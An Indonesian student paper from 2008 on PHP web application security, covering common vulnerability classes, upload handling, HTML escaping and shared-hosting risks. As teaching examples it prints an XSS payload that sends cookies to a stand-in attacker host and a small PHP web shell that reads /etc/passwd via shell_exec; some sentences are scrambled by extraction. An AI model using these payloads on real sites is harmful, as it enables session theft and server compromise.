Tugas Keamanan Jaringan Komputer Keamanan Pada WEB Dengan PHP Oleh Yuda Helmantra Eka Sakti (08053111002) FAKULTAS ILMU KOMPUTER UNIVERSITAS SRIWIJAYA 2008 1 DAFTAR ISI HALAMAN JUDUL….. .............................................................. 1 BAB 1 PENDAHULUAN ….. ...................................................... 3 I.I .Latar Belakang ….. .................................................... 3 I.2. Tujuan….. ................................................................ 4 BAB II.LANDASAN TEORI….. .................................................. 5 2.1 Konsep Kerja PHP ….. ............................................... 6 BAB III.PEMBAHASAN ............................................................. 8 3.1 Jenis Jenis Serangan ................................................. 8 3.2 lubang Keamanan PHP..................................................11 3.2 lubang Keamanan PHP..................................................11 3.3 Keamanan Pada Aplikasi Web Dengan PHP………………………..11 3.3.1 Hindari Upload Yang Salah ……………………………. …..…..11 3.3.2 Hilangkan Karakter Escape HTML Dalam Teks…...…….12 3.3.3 Gunakan Ekstensi php untuk Semua File Script……….12 3.3.4 Tempatkan Isi YG Sensitif DiLuar Direktori Root Dokumen……………………………. …..……………………………...13 3.3.5 Berhati-Hati terhadap Server Bersama…………………....15 BAB IV KESIMPULAN ............................................................... 18 DAFTAR PUSTAKA................................................................... 19 2 BAB 1 Pendahuluan 1.1 Latar Belakang PHP adalah singkatan dari PHP Hypertext Preprocessor yaitu bahasa berbentuk skrip yang ditempatkan di server dan dijalankan oleh server. Hasilnya ke klien tempat pemakai menggunakan browser. PHP dirancang untuk membentuk web dinamis. Artinya PHP dapat membentuk suatu tampilan berdasarkan permintaan terkini. Misalnya dapat mengakses database dan menampilkannya di halaman web serta ineraktif dengan cepat dan mudah. PHP dapat berinteraksi dengan hampir semua teknologi web yang sudah ada. Developer dapat menulis sebuah program PHP yang mengeksekusi suatu program CGI (Common Gateway Interface) di server web lain. Skrip-skrip PHP semula berawal dari skrip Perl yang dikemas menjadi tool yang disebut “Personal Home Page”. Paket inilah yang menjadi cikal bakal PHP. Pada tahun 1995, Rasmus Lerdroft menciptakan PHP/FI Versi 2. Pada versi ini pemrogram dapat menempelkan kode terstruktur di dalam tag HTML. Pada awalnya, PHP dirancang untuk diintegrasikan dengan web server Apache. Namun sekarang PHP juga dapat bekerja dengan web server seperti PWS (Personal Web Server), IIS (Internet Information Server),. PHP bersifat bebas dipakai (open source), dan software-nya dapat di-download melalui situs www.php.net. Pembahasan tentang web programming belum lengkap apabila belum mempelajari tentang keamanan dalam aplikasi. Fasilitas yang melimpah, fungsi yang sangat banyak tidak akan berarti apabila aplikasi kita gagal dalam hal pengamanan data. 3 Terus bagaimana caranya agar website menjadi "aman?". Jawabnya ya tentu saja kita harus menguji dan mencari di mana letak celah keamanan website yang mungkin bisa dilewati bahkan oleh seorang script kiddies. Filosofi pengujiannya adalah bahwa kode-kode html dirender / diterjemahkan sedemikian rupa oleh browser dan hasil terjemahannya ditampilkan di komputer. Meskipun hampir semua jenis browser menerjemahkan dengan kelakuan yang seragam terhadap kode-kode html yang dibacanya tapi tidak 100% sama, kadang tampilan sebuah website sedikit berbeda ketika ditampilkan pada browser yang lain. "Kelakuan yang aneh" dari browser dalam menerjemahkan kode-kode html inilah yang dimanfaatkan orang untuk "mengambil alih" sebuah website. 1.2 Tujuan Tujuan : Mengamankan web dari serangan Hacker/cracker Menjaga keamanan pada skrip PHP dan membuat solusi penangannya 4 BAB 1I LANDASAN TEORI Masalah keamanan web mulai menjadi masalah penting,setelah perkembangan teknologi web cukup menarik perhatian. Munculnya berbagai situs milik perusahaan-perusahaan komersil akhir-akhir ini telah dibarengi dengan munculnya hacker/cracker yang bekerja dan berusaha untuk merusak web-web milik perusahaan tersebut. Umumnya mereka menyebabkan kerusakan pada system navigasi web milik perusahaan,merusak tampilan web yang ada, atau pada tinggkat yang paling parah dapat mencuri data-data penting perusahaan. Pada bank-bank, maupun perusahaan yang memiliki data yang sangat penting, hal ini sangat merugikan baik perusahaan maupun konsumennya Salah satu website yang didedikasikan untuk melapurkan peristiwaperistiwa terbaru dari situs-situs web dalam negri yang mengalami serbuan. Situs ini melaporkansits-situs mana saja di indonesia yang mengalami serangan dan pernah mengalami serangan dari para hacker/cracker. Situs web ini memiliki alamat : http://www.heckerlink.or.id selama ini,masalah keamanan web sudah cukup lama dikenal. Bahkan telah menjadi sejenis profesi bagi para profesional yang bergerak di bidangnya. Meraka umumnya dikenal sebagai security analist ,orang-orang yang menganalisis mengenai keamanan suatu jaringan mili perusahaan yang memiliki koneksi dengan internet.para security analist ini sebenarnya memiliki kemampuan analisis keamanan yang lebih dari sekedar keamanan web server. Namun demikian,keamanan web server jelas memegang peranan paling penting, karena laporan menunjukan bahwa serangan yang terjadi di internet adalah serangan terhadap web. 5 2.1 Konsep Kerja PHP Konsep kerja HTML diawali dengan permintaan suatu halaman web oleh browser. Berdasarkan URL (Uniform Resource Locator) ataudikenal dengan internet, browser mendapat alamat dari web serve, mengidentifikasi halaman yang dikehendaki, dan menyampaikan segala informasi yang dibutuhkan oleh web server. Selanjutnya, web server akan mencarikan berkas yang diminta dan membrikan isinya ke browser. Browser yang mendapatkan isinya segera melakukan proses penerjemahan kode HTML dan menampilkannya ke layar pemakai (klien). Gambar : Konsep Kerja HTML Pada PHP prinsip kerjanya sama, hanya saja ketika berkas PHP yang diminta didapatkan oleh web server, isinya segera dikirimkan ke mesin PHP dan mesin inilah yang memproses dan memberikan hasilnya (berupa kode HTML) ke web server. Selanjutnya, web server menyampaikannya ke klien. 6 Gambar: Konsep Kerja PHP 7 BAB III PEMBAHASAN Berjuta-juta halaman Web dapat kita temui saat ini di Internet. Perkembangannya sangat cepat. Telah banyak perusahaan yang menampilkan diri di Internet melalui Web. Begitu juga dengan berbagai jenis Web yang lain yang kini telah menjadi bagian tak terpisahkan dari Internet. Web sedemikian populer karena mudah dibuat dan banyak menawarkan keuntungan. Banyak sekali informasi yang disediakan oleh Web-Web yang ada dan dapat diakses oleh siapa saja. Bahkan saat ini banyak pula perusahaan-perusahaan yang menyediakan transaksi melalui Web mereka. Web telah dijadikan satu bagian penting untuk promosi maupun layanan kepada pelanggan. 3.1 Jenis Jenis Serangan Berikut adalah 10(sepuluh) dafttar celah yang dapat menyebabkan website terancam 1 - Cross Site Scripting (XSS) Celah XSS, adalah saat pengguna web aplikasi dapat memasukkan data dan mengirimkan ke web browser tanpa harus melakukan validasi dan encoding terhadap isi data tersebut, Celah XSS mengakibatkan penyerang dapat menjalankan potongan kode (script) miliknya di browser target, dan memungkinkan untuk mencuri user session milik target, bahkan sampai menciptakan Worm. 8 2 - Injection Flaws Celah Injeksi, umumnya injeksi terhadap SQL (database) dari suatu aplikasi web. Hal ini mungkin terjadi apabila pengguna memasukkan data sebagai bagian dari perintah (query) yang menipu interpreter untuk menjalankan perintah tersebut atau merubah suatu data. 3 - Malicious File Execution Celah ini mengakibatkan penyerang dapat secara remote membuat file yang berisi kode dan data untuk di eksekusi, salah satunya adalah Remote file inclusion (RFI). 4 - Insecure Direct Object Reference Adalah suatu celah yang terjadi saat pembuat aplikasi web merekspos referensi internal penggunaan objek, seperti file, direktori, database record, dll 5 - Cross Site Request Forgery (CSRF) Celah ini akan memaksa browser target yang sudah log-in untuk mengirimkan "pre-authenticated request"terhadap aplikasi web yang diketahui memiliki celah, dan memaksa browser target untuk melakukan hal yang menguntungkan penyerang. 9 6 - Information Leakage and Improper Error Handling Penyerang menggunakan informasi yang didapatkan dari celah yang di akibatkan oleh informasi yang diberikan oleh web aplikasi seperti pesan kesalahan (error) serta konfigurasi yang bisa di lihat. 7 - Broken Authentication and Session Management Celah ini merupakan akibat buruknya penanganan proses otentikasi dan manajemen sesi, sehingga penyerang bisa mendapatkan password, atau key yang di gunakan untuk otentikasi. 8 - Insecure Cryptographic Storage Aplikasi web umumnya jarang menggunakan fungsi kriptografi untuk melindungi data penting yang dimiliki, atau menggunakan fungsi kriptografi yang di ketahui memiliki kelemahan. 9 - Insecure Communications Sedikit sekali aplikasi web yang mengamankan jalur komunikasinya, hal inilah yang dimanfaatkan oleh penyerang sebagai celah untuk mendapatkan informasi berharga. 10 - Failure to Restrict URL Access Seringkali, aplikasi web hanya menghilangkan tampilan link (URL) dari pengguna yang tidak berhak, tetapi hal ini dengan sangat mudah dilewati dengan mengakses URL tersebut secara langsung. 10 3.2 lubang Keamanan PHP PHP dapat dijalankan sama seperti aplikasi CGI (Common Gateway Interface) seperti web server yang terintegrasi. Interpreter PHP mempunyai kemampuan untuk mengakses hampir semua host-file system, network interfaces, IPC, dan lain-lain. Konsekwensinya PHP potensial mendapat serangan dari attacker. Untuk meminimalkan serangan programmer harus menyadari dan mengetahui hal-hal yang tidak diharapkan (merusak) saat program dijalankan, yaitu pengetahuan kelemahan suatu sistem dan modus serangan secara umum yang diarahkan untuk mengganggu keamanan program tersebut Lubang keamanan yang paling umum di dalam skrip PHP dan tak terkecuali pada aplikasi web yang manapun, adalah berkaitan dengan User Input. Banyak skrip menggunakan informasi user yang legal dalam bentuk format web dan memproses informasi ini dengan berbagai cara. Jika user input ini dilegalkan tanpa batasan, maka user input potensial menyisipkan perintah-perintah yang tidak diinginkan dalam skrip. 3.3 Keamanan Pada Aplikasi Web Dengan PHP 3.3.1 Hindari Upload Yang Salah File-file upload dapat rusak dari sebuah kemungkinan berbahaya yang berasal dari permasalahan variabel global yang tidak dapat dipercaya. Hal ini layak dipertimbangkan sebagai sebuah permasalahan tambahan. Saat sebuah file di-uploaded, script PHP menyimpan file uploaded itu. Akan tetapi, user dapat membangun URL yang mengatur nilai variabel ini hingga menjadi nilai yang tidak diharapkan seperti /etc/passwd dan tidak akan meng-upload file. Skrip tersebut kemungkinan kemudian menyalin file itu ke sebuah lokasi atau menampilkan isi file ke user. Apa yang harus dilakukan adalah menguji semua skrip yang berhubungan dengan file upload. Pencarian dengan type=”file” mungkin bisa membantu mengidentifikasi skrip-skrip ini. 11 Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini adalah seperti beikut ini. ▪ Menggunakan versi-versi PHP terbaru yang memiliki fungsi-fungsi is_uploaded_file dan move_uploaded_file. Versi terbaru ini memperbolehkan pemrogram untuk menjamin bahwa fungsi-fungsi di atas bekerja dengan file-file uploaded. ▪ Jika user tidak yakin bahwa kode akan berjalan pada versi PHP terbaru, aturlah setting konfigurasi upload_tmp_dir dan kemudian lakukan pengecekan input untuk menjamin bahwa file di mana user bekerja betul berada dalam direktori ini. 3.3.2 Hilangkan Karakter-Karakter Escape HTML Dalam Teks Apa yang akan terjadi jika seseorang meletakkan sebuah tag <blink> dalam sebuah bagian di halaman web? Jika tidak dihilangkan karakter HTML ini dalam teks sebelum disimpan atau ditampilkan, maka semua teks berikutnya pada halaman itu akan berkedib. Versi-versi lain yang lebih berbahaya dari hal ini juga memungkinkan; contohnya attacker akan menulis JavaScript yang akan membawa browser ke tempat pesaingnya. Dalam permasalahan ini perlu diidentifikasi halaman yang menampilkan teks yang dimasuki oleh user yang tidakdiinginkan. Langkahlangkah perbaikan dan pengembangan adalah: ▪ Menghilangkan HTML dengan tepat sebelum menyimpan atau menampilkannya. Untuk ini dapat digunakan fungsi-fungsi yang dimiliki oleh PHP yaitu htmlspecialchars atau htmlentities untuk maksud ini. ▪ Jika Anda menginginkan agar pengguna yang tidak dapat dipercaya menggunakan HTML untuk pemformatan, maka Anda seharusnya melakukan validasi untuk membatasi tag-tag HTML yang tersedia dengan hanya menggunakan tag dasar seperti <b> dan <I>. 12 3.3.3 Gunakan Ekstensi .php untuk Semua File Script Banyak pemrogram PHP menggunakan ekstensi .inc atau .class untuk file library dan file konfigurasi yang diakses dengan menggunakan fungsi include. Jika attacker mengambil URL untuk file .inc atau .class dalam browser-nya, maka dia tidak akan mampu melihat isi file ini, termasuk kode PHP apapun. Boleh jadi hal ini memperlihatkan hak keintelektualan, password, atau kelemahan dalam pengkodean. Apa yang harus dilakukan adalah menguji semua nama file dari semua file script yang ada. Langkahlangkah perbaikan dan pengembangan adalah: ▪ gunakan ekstensi .php untuk semua file script, ▪ tempatkan file library dan file konfigurasi di luar direktori root dokumen server web. 3.3.4 Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen Banyak sistem PHP dirancang untuk membatasi akses ke dokumen atau citra melalui autentifikasi user dan daftar kontrol akses. Akan tetapi, dokumen-dokumen ini sering disimpan sebagai file dalam sebuah subdirektori dari direktori yang berisi skrip PHP. Hal ini tentu membuat filefile tersebut tersedia langsung jika user memakai URL yang tepat dalam browser. Jadi, janganlah meletakkan isi yang seharusnya rahasia dalam root aplikasi; contohnya, jangan menempatkan citra yang dimaksudkan sebagai password yang dilindungi dalam root aplikasi. Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah dengan mengecek penempatan direktori yang digunakan untuk menyimpan file-file yang mengandung isi rahasia. Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini adalah. ▪ Menyimpan isi sebagai sebuah file dalam sebuah direktori di luar direktori root dokumen milik web server. 13 ▪ Menyimpan isi dalam sebuah basis data. ▪ Menggunakan fitur web server seperti file Apache .htaccess untuk mencegah akses langsung ke direktori isi. 3.3.5 Berhati-Hati terhadap Server Bersama Banyak situs PHP mengambil keuntungan dengan murahnya tempat yang disediakan oleh pihak ketiga. Penyedia tempat ini biasanya menggunakan server bersama dengan pengguna-pengguna lain. Pengguna lain ini mungkin saja mampu menggunakan skrip PHP atau akses shell untuk memodifikasi, mengakses, atau menghapus file-file atau menentukan password basis data. Serangan lain yang mungkin adalah kemampuan menciptakan file sesi (standarnya tersimpan dalam /tmp) yang akan mengizinkan attacker menggunakan autentifikasi tersebut. Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah jika server yang digunakan adalah server bersama, lihatlah dulu konfigurasi server dengan menggunakan penggunaan fungsi file-file phpinfo. yang Juga sensitif. lakukan pengecekan Langkah-langkah pada izin perbaikan dan pengembangan dalam permasalahan ini adalah: ▪ Menggunakan server khusus sebagai gantinya. Perusahaan penyedia tempat untuk situs PHP memiliki server khusus yang tersedia dengan harga yang lebih tinggi, tetapi keamanan dan kinerja yang diberikan bisa mengimbangi pengeluaran. ▪ Mengecek apakah perusahaan penyedia tempat sudah mengaktifkan setting konfigurasi safe_mode (bisa dicek dengan menuliskan sebuah skrip yang berjalan dengan fungsi phpinfo). Namun demikian, fungsi safe_mode juga dapat mencegah eksekusi program lain sehingga membatasi fungsionalitas situs. ▪ Menentukan perizinan file sehingga web server hanya bisa membaca file-file jika diketahui namanya (Pada sistem Unix, berikan model direktori seperti 711). 14 3.3 Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP a). Mengamankan Layout atau Tampilan. Pada web yg dinamis, kita sering melakukan permintaan data dari user yang kemudian disimpan dalam database lalu ditampilkan untuk dapat dilihat oleh pengunjung lain. Jika user iseng,dan user dapat merusak tampilan web karena dia memasukan tag-tag HTML, misalnya memasukan kode <img src="image.jpg"> untuk menampilkan gambar yang sangat besar atau memasukan kode <!-- sehingga sebagian tampilan web tidak muncul atau mungkin user pengunjung memasukan lain. Dengan kode javascript menggunakan yang client side akan menggangu scripting seperti javascript, sebuah sesion dapat dicuri atau hilang dengan cara ini. Misalkan sebuah web based mail menampilkan subject email dengan cara : <? echo "<TD>Subject : ". $subject ."</TD>"?> Dengan memberikan subject yang berisi kode javascript seperti contoh berikut ini adalah : <s cript> self. location.href="http://attackerhost.org/cookiegrab.html?cookies="+escape(document.cookie) </s cript> maka informasi session/cookie dapat dikirim ke website attacker. Untuk menghindari tag-tag HTML yang dapat merusak dan tampilan/layout website, atau menghindai implantasi scripting seperti diatas, kita dapat men-disable tag-tag tersebut. Kita dapat memilih tag-tag apa saya yang diperbolehkan dengan fungsi strip_tags() sehingga tag yagn tidak diperbolehkan ditampilkan sebagaimana adanya dan tidak diparsing oleh browser sebagai kode HTML. Atau dapat juga mengubah setiap karakter "<" dan ">" menjadi "<" dan ">" yang merupakan kode karakter HTML untuk tanda lebih kecil dan lebih besar dengan fungsi htmlspecialchars() atau fungsi eregi_replace(). 15 b). Batasi ukuran data yang dikirim ke server atau yang dimasukkan ke database. Jika kita membuat suatu aplikasi guestbook misalnya, tentu saja kita tidak mau pengunjung dapat mengisi guestbook dengan tulisan yang sangat panjang sekali. Oleh karena itu ada baiknya berfikir untuk selalu membatasi fasilitas untuk user. c). Filter kata-kata kotor (bad words). Mungkin ini tidak ada hubungannya dengan kemanan sistem, tapi jika anda ingin membangun website yang 'baik' sebaiknya hidari kata-kata sembarangan yang bisa diposting oleh user. d). Cegah flooding. Kita dapat menggunakan fasilitas session untuk mencegah agar user hanya dapat mengirimkan data sekali atau beberapa kali saja. Ini sangat berguna misalnya pada halaman polling untuk memperkecil kemungkinan user memanipulasi data dengan men-submit terus-menerus. e). Cegah mekanisme upload file PHP yang dapat dieksekusi kemudian dengan dipanggil lewat URL. Jika seseorang menupload file seperti dibawah ini : <?php $cmd = "cat /etc/passwd"; // atau $cmd="echo "HACKED\">".dirname($_SERVER['PATH_TRANSLATED'])."/hacked.html"; $h = shell_exec($cmd); echo $h; ?> Apabila file tersebut bisa dipanggil lewat URL maka script tersebut dapat dieksekusi oleh PHP f). tidak ada sistem yang 100% aman. Setiap saat kita harus bersandar pada hardware, software, dan manusia lain; padahal kita tahu bahwa semuanya memiliki bug. Hardware dapat gagal berfungsi, software bisa memiliki bolong atau pintu belakang, manusia apa lagi. Sebaik-baiknya 16 usaha kita mencapai keamanan tertinggi, akan ada celah atau peluang untuk ditembus. Dan kadang-kadang celah itu diri kita sendiri. Jadi keamanan absolut tidak ada; yang ada melainkan adalah sistem yang cukup aman dalam konteks atau kebutuhan tertentu dan sistem yang kurang/tidak aman. Tujuan kita adalah mengetahui bagaimana membuat sistem yang cukup aman dan menghindari lubang-lubang yang membuat sistem kita tidak aman khususnya pada PHP. g) kenali sistem Anda lebih dari orang lain. Bagaimana Anda bisa menjaga rumah seandainya Anda tidak tahu ada berapa pintu dan jendela di rumah tersebut? Dalam pemrograman Web umumnya terdapat beberapa komponen terpisah yang bekerja sama: webserver, aplikasi/bahasa pemrograman, dan server database. Setiap komponen ini berbeda sifat dan perlu dikenali satu per satu. Anda harus mengerti konfigurasi masingmasing software. h).hanya mengandalkan penyamaran bukanlah keamanan yang baik. Bahasa “security by obscurity is not good security”. Jangan menaruh kunci rumah di pot bunga atau celah atas pintu seperti yang Anda lakukan di dunia nyata. Akan ada banyak orang yang melihat rumah Anda. Bagaimana Anda bisa yakin bahwa mereka tidak akan melirik ke pot bunga atau sekitar pintu? Menyembunyikan halaman administrasi atau informasi sensitif di alamat URL “aneh” tanpa password bukanlah tindakan keamanan yang baik, karena “jejak” URL tersebut tercetak di history browser, di log server-server proxy, dan mungkin juga log referrer situs lain yang tidak pernah Anda bayangkan sebelumnya. Berpikir “orang tidak akan kepikir sampai ke sini” adalah pikiran yang salah, karena Anda tidak tahu apa yang ada di pikiran orang lain. 17 BAB VI KESIMPULAN Semua software aplikasi web tak terkecuali PHP, memiliki titik lemah dalam hal keamanan. Umumnya lubang keamanan pada aplikasi web dengan PHP berkaitan dengan penggunaan variabel auto global dan konfigurasi skrip php yang dibangun. Dengan penelitian yang seksama pada titik-titik lemah tersebut, banyak lubang kemanan dalam aplikasi menggunakan skrip PHP dapat dihindari, diantaranya sebagai beikut : 1. hindari penggunaan variabel saat mengakses file, 2. jangan 100% percaya dengan variabel global, 3. hindari upload yang salah, 4. gunakan ekstensi .php untuk semua file skrip, 5. hati-hati terhadap penggunaan server yang sama, 6. hindari pengetikan skrip yang ruwet dan semaunya. 18 DAFTAR PUSTAKA Newman,Frans,Mengamankan Web Server dari Serangan Hacker/Cracker, PT. Elex Media Komputindo Kelompok Gramedia,Jakarta,2001 Sukri,Muhammad.,Aplikasi Web Database dengan PHP & MySQL, PT. Elex Media Komputindo Kelompok Gramedia,Jakarta,2002 http://www.budi.insan.co.id http://www.php.net 19